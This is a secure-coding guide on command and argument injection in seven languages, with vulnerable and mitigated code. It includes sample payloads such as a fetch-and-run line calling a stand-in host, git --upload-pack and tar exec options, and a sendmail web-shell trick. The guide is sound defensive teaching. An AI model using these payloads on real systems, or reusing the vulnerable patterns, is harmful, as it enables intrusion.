Skip to content

Command injection (including argument injection)

When is it relevant

A new or changed code path that starts another program or a shell, with any part of the command line coming from input. That covers: - exec, system, popen, backticks and other shell calls; - calls that take an argument list, such as spawn, subprocess.run([...]), ProcessBuilder, Process.Start and exec.Command; - wrappers around tools like git, ffmpeg, ImageMagick, tar, curl, ssh, rsync and sendmail.

The input can be a file name, a branch or tag name, a URL, a host name, an email address, or any value stored earlier and used later by a job.

Attack

There are two forms, and only the first needs a shell.

  • Shell injection. The command is one string that a shell parses. Metacharacters in the input start a second command: ;, |, &&, $(…), backticks, and newlines.
  • Argument (option) injection. The program gets a proper argument list, so no shell is involved, but a value that starts with - is read as an option instead of as data. Many tools have options that run a program or write a file:
  • git fetch --upload-pack=<cmd> and git -c core.sshCommand=<cmd>
  • tar --checkpoint-action=exec=<cmd> and tar --to-command=<cmd>
  • ssh -oProxyCommand=<cmd>, rsync -e <cmd> and zip -TT <cmd>
  • find -exec, curl -o <path> and wget --use-askpass=<cmd>
  • sendmail -X <logfile>, reached through PHP's mail() fifth parameter

The usual "safe" pattern (an argument array, no shell) does not stop this. - GNU-style parsers also accept options after positional arguments, so putting the value last is not enough. - Stored values are the common case: a name saved by one request and used later, by a background job or by another user's action.

Either form gives code execution as the application's user, which usually exposes every secret in its environment.

Mitigation

  • Don't start a process when a library or API can do the job: use a git library, an image library or the language's archive module.
  • Never build a shell command from input. Pass a fixed program and an argument list, with the shell turned off. That stops shell injection only.
  • Stop argument injection on every value that comes from input:
  • Validate it against an allowlist pattern that cannot start with -, such as a ref name or a numeric ID.
  • Put it after an end-of-options marker that the tool honours: --, or --end-of-options for git 2.24 and later.
  • Where the syntax allows, put it behind a fixed prefix, such as refs/heads/<name> or ./<file>.
  • Validate every argument, not just the first. Check each sibling call: a value that is validated in one place is often passed raw in another.
  • Validate values again when they are read back from storage. Don't rely only on the check when they were saved.
  • Run the process with a minimal environment, without the app's secrets, as a low-privilege user, with a timeout. Don't return its stderr to the client.

Test

  • Point-in-time: for every process call, send shell metacharacters (;id, $(id), a newline) and option-shaped values (--help, -o/tmp/x, and the tool's own dangerous option). Do this for every input, including values stored and used later. Nothing may run, and nothing may change the tool's behaviour.
  • Continuous: a unit test on each wrapper that passes -x and --foo=bar and expects a rejection. Add a SAST rule for shell calls with input, and for argument lists built from input with no -- or validation.

Examples

Mitigation options

Option When it fits Docs
Use a library instead of a process Best option: git, images, archives, PDFs all have libraries isomorphic-git, sharp, tar
execFile / spawn with an argument array (no shell) You must run a program; stops shell injection only child_process
Allowlist pattern that can't start with - Every input that becomes an argument RegExp
-- / --end-of-options before input The tool honours the end-of-options marker git-cli: --end-of-options

Vulnerable — shell string built from input

const { exec } = require('node:child_process')

app.post('/thumbnail', (req, res) => {
  exec(`convert uploads/${req.body.file} -resize 200x200 thumbs/out.png`, (err) => {
    res.sendStatus(err ? 500 : 204)          // file = "a.png; curl evil.sh | sh"
  })
})

exec hands the whole string to /bin/sh, so ;, |, $(…) and backticks in file start new commands.

Vulnerable — "safe" argument array, dangerous option (argument injection)

const { execFile } = require('node:child_process')

// "import a repository": list the remote's branches before cloning it
execFile('git', ['ls-remote', req.body.url], cb)
// url = "--upload-pack=touch /tmp/pwned"

There is no shell here, so the metacharacter payloads do nothing. But git reads the value as an option, and --upload-pack names a program for git to run for a local or SSH remote. The same shape works on tar (--checkpoint-action=exec=…), ssh (-oProxyCommand=…), rsync (-e …), curl (-o /path, -K file) and find (-exec).

Vulnerable — the value is last, but options are still parsed

execFile('tar', ['-czf', 'backup.tgz', ...req.body.paths])
// paths = [".", "--checkpoint=1", "--checkpoint-action=exec=sh x.sh"]

GNU tools reorder their arguments, so an option after a positional argument still counts as an option.

Vulnerable — shell: true hidden in the options

spawn('git', ['log', req.query.ref], { shell: true })   // joins the array into a shell string

Mitigated — argument array, allowlist, and an end-of-options marker

const REF = /^[A-Za-z0-9][A-Za-z0-9._/-]{0,254}$/

function fetchBranch(workDir, branch, cb) {
  if (!REF.test(branch) || branch.includes('..')) return cb(new Error('invalid branch'))
  execFile('git', ['-C', workDir, 'fetch', '--end-of-options', 'origin', `refs/heads/${branch}`], {
    env: { PATH: process.env.PATH },          // no app secrets in the child
    timeout: 60_000,
  }, cb)
}

Three layers, each enough on its own for this call: - The pattern can't start with -. - --end-of-options makes git treat everything after it as an argument. - The refs/heads/ prefix means the value can never look like an option.

Docs: child_process.execFile · gitcli

Mitigated — no process at all

const git = require('isomorphic-git')
await git.fetch({ fs, http, dir: workDir, remote: 'origin', ref: branch, singleBranch: true })

Docs: isomorphic-git fetch

Bypasses to check

  • An allowlist that only blocks shell metacharacters, such as [^;&|$], still allows-and=`. That is enough for argument injection.
  • Check then change: a value is validated, then trimmed or decoded, or read back from the database. The value used is not the one that was checked.
  • A missing validation in one sibling: one of two similar arguments is validated and the other isn't, or one route validates and another reaches the same helper without it.
  • URLs passed to git clone or git ls-remote: a URL can be an option (--upload-pack=…), and ext:: or file:// URLs run or read locally. Allow https:// only, and pass -c protocol.allow=never -c protocol.https.allow=always.
  • -- placed after the value instead of before it, or a tool that ignores --, such as some sendmail builds.
  • Values that become options through splitting: a JSON array body, split(' '), or shell-quote parsing input into several arguments.
  • npx, yarn and node -e with input, and environment variables built from input, such as GIT_SSH_COMMAND and LD_PRELOAD.

What to grep for

  • child_process, exec(, execSync(, spawn(, execFile(, fork(, shell: true
  • execa(, shelljs, simple-git, .raw(, zx (template-tag commands)
  • git, tar, ssh, rsync, curl, ffmpeg, convert, --, --end-of-options

Mitigation options

Option When it fits Docs
Use a library instead of a process Best option: archives, images, git have libraries tarfile, shutil, Pillow, pygit2
subprocess.run([...]) with a list and no shell=True You must run a program; stops shell injection only subprocess
Allowlist pattern that can't start with - Every input that becomes an argument re.fullmatch
-- / --end-of-options before input The tool honours the end-of-options marker gitcli
shlex.quote Only when a shell string is unavoidable (a remote ssh command) shlex.quote

Vulnerable — shell string built from input

@app.post('/ping')
def ping():
    host = request.form['host']
    out = subprocess.check_output(f'ping -c 1 {host}', shell=True)   # host = "x; id"
    return out

os.system, os.popen, subprocess.*(…, shell=True) and commands.getoutput all hand the string to /bin/sh.

Vulnerable — list form, dangerous option (argument injection)

@app.post('/mirror')
def mirror():
    # no shell, so ";id" does nothing, but url = "--upload-pack=touch /tmp/pwned" runs a program
    subprocess.run(['git', 'ls-remote', request.form['url']], capture_output=True)

The list form is the documented safe pattern for shell injection, and it is still vulnerable here. git reads the value as an option, and --upload-pack names a program for git to run for a local or SSH remote. The value is often stored first and used later, by a job or by another user's action.

Vulnerable — one sibling validated, the other not

def copy_tag(source, target):
    if not TAG.fullmatch(source):
        raise ValueError('invalid source tag')
    # target is only checked for being a non-empty string
    subprocess.run(['git', 'tag', target, source])

Vulnerable — shlex.split on input

subprocess.run(['convert', *shlex.split(request.form['args']), 'out.png'])   # args can add any option

Mitigated — validate, end the options, prefix the ref

REF = re.compile(r'[A-Za-z0-9][A-Za-z0-9._/-]{0,254}')

def fetch_branch(work, branch):
    if not REF.fullmatch(branch) or '..' in branch:
        raise ValueError('invalid branch')
    return subprocess.run(
        ['git', '-C', work, 'fetch', '--end-of-options', 'origin', f'refs/heads/{branch}'],
        capture_output=True, text=True, timeout=60,
        env={'PATH': os.environ['PATH'], 'HOME': '/nonexistent'},   # not os.environ: keeps SECRET_KEY out
    )
  • The pattern can't start with -.
  • --end-of-options stops git option parsing.
  • The refs/heads/ prefix means the value can never look like an option.
  • Validate again where the value is used, not only where it is stored.

Docs: subprocess.run · gitcli

Mitigated — no process at all

with tarfile.open('backup.tgz', 'w:gz') as tar:
    tar.add(safe_dir, arcname='.')

Docs: tarfile

Bypasses to check

  • The list form treated as the whole fix. Look for every list argument that comes from input and check it can't start with -.
  • Check then change: the value is validated, then .strip()ed or URL-decoded, or saved and read back from a database without the same check.
  • shell=True with a list. On POSIX the first item becomes the shell script, and the other items become the shell's $0, $1 and so on.
  • env=dict(os.environ) passes SECRET_KEY, database URLs and cloud credentials to every child, and so to any injected command.
  • Returning stderr to the client turns a blind injection into one whose output can be read.
  • GitPython and similar wrappers that build command lines for you. GitPython's repo.git.<cmd>(value) and clone_from(url) take options too; see CVE-2022-24439.

What to grep for

  • subprocess., shell=True, os.system(, os.popen(, os.exec, os.spawn, pty.spawn
  • check_output(, Popen(, run(, shlex.split(, shlex.quote(
  • git.Repo, repo.git., clone_from(, sh. (the sh package), plumbum
  • 'git', 'tar', 'ssh', 'rsync', '--', '--end-of-options'

Mitigation options

Option When it fits Docs
Use a library instead of a process Best option: git, archives and images have Java libraries JGit, Apache Commons Compress
ProcessBuilder with a List<String> You must run a program; stops shell injection only ProcessBuilder
Allowlist pattern that can't start with - Every input that becomes an argument Pattern
-- / --end-of-options before input The tool honours the end-of-options marker gitcli

Vulnerable — a shell started explicitly

new ProcessBuilder("sh", "-c", "convert uploads/" + fileName + " thumbs/out.png").start();
// fileName = "a.png; id > /tmp/x"

Vulnerable — Runtime.exec(String) with input

Runtime.getRuntime().exec("git log " + ref);

Runtime.exec(String) doesn't start a shell. It splits the string on whitespace with StringTokenizer, so ; and | do nothing. But spaces in the input become new arguments, and that is argument injection: ref = "--output=/app/static/x.jsp HEAD" writes a file.

Vulnerable — list form, dangerous option

List<String> cmd = List.of("git", "ls-remote", repoUrl);   // repoUrl = "--upload-pack=touch /tmp/pwned"
new ProcessBuilder(cmd).start();

No shell and no splitting, and it is still exploitable, because git reads the value as an option.

Mitigated — validate, end the options, fixed prefix

private static final Pattern REF = Pattern.compile("[A-Za-z0-9][A-Za-z0-9._/-]{0,254}");

Process fetch(Path work, String branch) throws IOException {
    if (!REF.matcher(branch).matches() || branch.contains("..")) throw new IllegalArgumentException("invalid branch");
    ProcessBuilder pb = new ProcessBuilder("git", "-C", work.toString(), "fetch",
            "--end-of-options", "origin", "refs/heads/" + branch);
    pb.environment().keySet().retainAll(Set.of("PATH", "HOME"));   // drop the app's secrets
    pb.redirectErrorStream(true);
    return pb.start();
}

Docs: ProcessBuilder.environment() · gitcli

Mitigated — no process at all

try (Git git = Git.open(work.toFile())) {
    git.fetch().setRemote("origin").setRefSpecs(new RefSpec("refs/heads/" + branch)).call();
}

Docs: JGit FetchCommand

Bypasses to check

  • Runtime.exec(String) treated as safe because there is no shell. Whitespace still creates new arguments.
  • On Windows, ProcessBuilder joins the arguments into one command line, and the program parses it again. .bat and .cmd files run through cmd.exe, which allows & and |. See CVE-2024-1874 (PHP) and the BatBadBut issue for the same class.
  • Check then change: the value is validated, then trimmed, decoded or loaded back from the database.
  • Arguments built with String.split(" ") from input, and CommandLine.parse() (Apache Commons Exec) on input.

What to grep for

  • Runtime.getRuntime().exec(, new ProcessBuilder(, .command(, "sh", "-c", "cmd", "/c"
  • CommandLine.parse(, DefaultExecutor, zt-exec, ProcessExecutor
  • "git", "tar", "ssh", "--", "--end-of-options"

Mitigation options

Option When it fits Docs
Use a library instead of a process Best option: git, archives and images have .NET libraries LibGit2Sharp, System.IO.Compression
ProcessStartInfo.ArgumentList with UseShellExecute = false You must run a program; stops shell injection only ArgumentList
Allowlist pattern that can't start with - Every input that becomes an argument Regex
-- / --end-of-options before input The tool honours the end-of-options marker gitcli

Vulnerable — a shell built from input

Process.Start("/bin/sh", $"-c \"ffmpeg -i uploads/{fileName} out.mp4\"");   // fileName = "x; id"

Vulnerable — Arguments string built from input

var psi = new ProcessStartInfo("git", $"log {reference}") { UseShellExecute = false };
Process.Start(psi);

Arguments is one string that is split into arguments, so spaces and quotes in the input add new arguments, and those can be options.

Vulnerable — ArgumentList, dangerous option

var psi = new ProcessStartInfo("git") { UseShellExecute = false };
psi.ArgumentList.Add("ls-remote");
psi.ArgumentList.Add(repoUrl);          // repoUrl = "--upload-pack=touch /tmp/pwned"
Process.Start(psi);

ArgumentList quotes each item correctly, so this is the safe pattern for splitting. git still reads the item as an option.

Mitigated — validate, end the options, fixed prefix

private static readonly Regex Ref = new(@"^[A-Za-z0-9][A-Za-z0-9._/-]{0,254}$", RegexOptions.Compiled);

Process Fetch(string work, string branch)
{
    if (!Ref.IsMatch(branch) || branch.Contains("..")) throw new ArgumentException("invalid branch");
    var psi = new ProcessStartInfo("git") { UseShellExecute = false, RedirectStandardError = true };
    foreach (var a in new[] { "-C", work, "fetch", "--end-of-options", "origin", $"refs/heads/{branch}" })
        psi.ArgumentList.Add(a);
    psi.Environment.Clear();
    psi.Environment["PATH"] = Environment.GetEnvironmentVariable("PATH");
    return Process.Start(psi)!;
}

Docs: ProcessStartInfo.Environment · gitcli

Mitigated — no process at all

using var repo = new Repository(work);
Commands.Fetch(repo, "origin", new[] { $"refs/heads/{branch}" }, new FetchOptions(), null);

Docs: LibGit2Sharp

Bypasses to check

  • UseShellExecute = true. It is the default on .NET Framework, and on Windows it opens the file with its associated program.
  • .bat and .cmd targets on Windows run through cmd.exe, even with ArgumentList (the BatBadBut class of bugs).
  • Check then change: the value is validated, then trimmed or decoded, or read back later without the same check.
  • Wrappers such as CliWrap, where .WithArguments(string) splits a string but .WithArguments(string[]) doesn't. Check which overload is used.

What to grep for

  • Process.Start(, ProcessStartInfo, .Arguments =, ArgumentList, UseShellExecute
  • "/bin/sh", "cmd.exe", "/c", Cli.Wrap(, .WithArguments(
  • "git", "--", "--end-of-options"

Mitigation options

Option When it fits Docs
Use a library or extension instead of a process Best option: images, archives, mail Imagick, ZipArchive, Symfony Mailer
proc_open with an array command (PHP 7.4+) or Symfony Process with an array You must run a program; no shell, stops shell injection only proc_open, Symfony Process
escapeshellarg on every value Only when a shell string is unavoidable escapeshellarg
Allowlist pattern that can't start with -, and -- Every input that becomes an argument preg_match

Vulnerable — shell string built from input

$out = shell_exec("ping -c 1 " . $_GET['host']);    // host = "x; id"

exec, system, passthru, shell_exec, backticks and popen all go through /bin/sh.

Vulnerable — escapeshellarg, dangerous option

exec('git ls-remote ' . escapeshellarg($_POST['url']));   // url = "--upload-pack=touch /tmp/pwned"

escapeshellarg wraps the value in single quotes. That stops the shell, but the quoted string still reaches git as one argument, and git reads it as an option. escapeshellcmd is weaker still, because it leaves spaces alone so the input can add arguments.

Vulnerable — mail() fifth parameter

mail($to, $subject, $body, [], '-f' . $_POST['from']);
// from = "x@y.z -OQueueDirectory=/tmp -X/var/www/html/shell.php"

The fifth argument is passed to sendmail as extra options. -X writes a log file wherever you point it, and that is enough to plant a web shell.

Mitigated — array command, validate, end the options

if (!preg_match('~\A[A-Za-z0-9][A-Za-z0-9._/-]{0,254}\z~', $branch) || str_contains($branch, '..')) {
    throw new InvalidArgumentException('invalid branch');
}
$process = new Symfony\Component\Process\Process(
    ['git', '-C', $work, 'fetch', '--end-of-options', 'origin', "refs/heads/$branch"],
    env: ['PATH' => getenv('PATH')],
    timeout: 60,
);
$process->run();

Docs: Symfony Process · gitcli

Mitigated — no mail() options from input

$email = (new Symfony\Component\Mime\Email())->from('noreply@example.com')->replyTo($validatedFrom)->to($to);
$mailer->send($email);

Docs: Symfony Mailer

Bypasses to check

  • escapeshellarg treated as the full fix: it stops the shell, not options.
  • escapeshellcmd on a whole command line, which still allows extra arguments.
  • On Windows, escapeshellarg and proc_open with .bat files had bypasses: CVE-2024-1874 and CVE-2024-5585. Check the PHP version.
  • Check then change: the value is validated, then trimmed or urldecoded, or read back from the database.
  • Laravel's Process::run("…{$input}") with a string is a shell command. The array form is not.

What to grep for

  • exec(, system(, passthru(, shell_exec(, backticks, popen(, proc_open(
  • escapeshellarg(, escapeshellcmd(, mail(, mb_send_mail(
  • Symfony\Component\Process, Process::fromShellCommandline(, Process::run(

Mitigation options

Option When it fits Docs
Use a library instead of a process Best option: git, images, archives Rugged, ruby-vips, rubyzip
system/spawn/Open3 with separate arguments You must run a program; no shell, stops shell injection only Kernel#system, Open3
Allowlist pattern that can't start with -, and -- Every input that becomes an argument Regexp

Vulnerable — one string, so a shell

system("convert uploads/#{params[:file]} thumbs/out.png")   # file = "a.png; id"
`git log #{params[:ref]}`

system, backticks, %x(), exec, IO.popen and Open3.* with a single string use /bin/sh when the string has shell metacharacters.

Vulnerable — Kernel#open with input

open(params[:url]).read    # url = "|id" runs a command

Vulnerable — separate arguments, dangerous option

Open3.capture3('git', 'ls-remote', params[:url])   # url = "--upload-pack=touch /tmp/pwned"

Separate arguments skip the shell, but git still reads the value as an option.

Mitigated — validate, end the options, fixed prefix

REF = /\A[A-Za-z0-9][A-Za-z0-9._\/-]{0,254}\z/

def fetch_branch(work, branch)
  raise ArgumentError, 'invalid branch' unless REF.match?(branch) && !branch.include?('..')
  Open3.capture3({ 'PATH' => ENV.fetch('PATH') }, 'git', '-C', work, 'fetch', '--end-of-options',
                 'origin', "refs/heads/#{branch}", unsetenv_others: true)
end

Use \A and \z, not ^ and $. In Ruby ^/$ match at line breaks, so "main\n--upload-pack=…" passes a ^…$ check.

Docs: Open3.capture3 · Process.spawn options

Mitigated — no process at all

repo = Rugged::Repository.new(work)
repo.fetch('origin', ["refs/heads/#{branch}"])

Docs: Rugged

Bypasses to check

  • ^…$ instead of \A…\z in the allowlist, as explained above.
  • Kernel#open, IO.read, IO.readlines and URI.open from open-uri with input that starts with |.
  • system(*params[:args]) lets the caller add any arguments, or choose the program.
  • Check then change: the value is validated, then stripped or decoded, or read back from the database.

What to grep for

  • system(, exec(, spawn(, `, %x(, IO.popen(, Open3., Kernel.open(, open(
  • Shellwords.escape, .shellescape, PTY.spawn
  • 'git', '--', '--end-of-options'

Mitigation options

Option When it fits Docs
Use a library instead of a process Best option: git, archives, images go-git, archive/tar
exec.Command(name, args...) You must run a program; no shell, stops shell injection only os/exec
Allowlist pattern that can't start with -, and -- Every input that becomes an argument regexp

Vulnerable — a shell built from input

out, _ := exec.Command("sh", "-c", "ping -c 1 "+r.FormValue("host")).Output()   // host = "x; id"

Vulnerable — exec.Command, dangerous option

cmd := exec.Command("git", "ls-remote", r.FormValue("url"))   // url = "--upload-pack=touch /tmp/pwned"
cmd.Run()

exec.Command never uses a shell, which is why Go code is often called "injection-safe". git still reads the value as an option.

Vulnerable — arguments split from a string

args := strings.Fields(r.FormValue("opts"))   // the caller chooses any options
exec.Command("ffmpeg", append([]string{"-i", in}, args...)...).Run()

Mitigated — validate, end the options, fixed prefix

var refRe = regexp.MustCompile(`^[A-Za-z0-9][A-Za-z0-9._/-]{0,254}$`)

func fetchBranch(ctx context.Context, work, branch string) error {
    if !refRe.MatchString(branch) || strings.Contains(branch, "..") {
        return errors.New("invalid branch")
    }
    cmd := exec.CommandContext(ctx, "git", "-C", work, "fetch", "--end-of-options", "origin", "refs/heads/"+branch)
    cmd.Env = []string{"PATH=" + os.Getenv("PATH")}   // nil would inherit every secret
    return cmd.Run()
}

Docs: exec.CommandContext · Cmd.Env · gitcli

Mitigated — no process at all

repo, _ := git.PlainOpen(work)
err := repo.Fetch(&git.FetchOptions{RemoteName: "origin",
    RefSpecs: []config.RefSpec{config.RefSpec("refs/heads/" + branch + ":refs/remotes/origin/" + branch)}})

Docs: go-git FetchOptions

Bypasses to check

  • exec.Command treated as the full fix, with no check on values that become arguments.
  • cmd.Env left nil, which passes the whole environment to the child.
  • On Windows, before Go 1.19, exec.Command("prog") could run prog.exe from the current directory. Check the Go version (see the os/exec security note).
  • Check then change: the value is validated, then trimmed or decoded, or read back from the database.

What to grep for

  • exec.Command(, exec.CommandContext(, "sh", "-c", "bash", "-c", "cmd", "/C"
  • syscall.Exec(, os.StartProcess(, strings.Fields(, cmd.Env
  • "git", "--", "--end-of-options"

Resources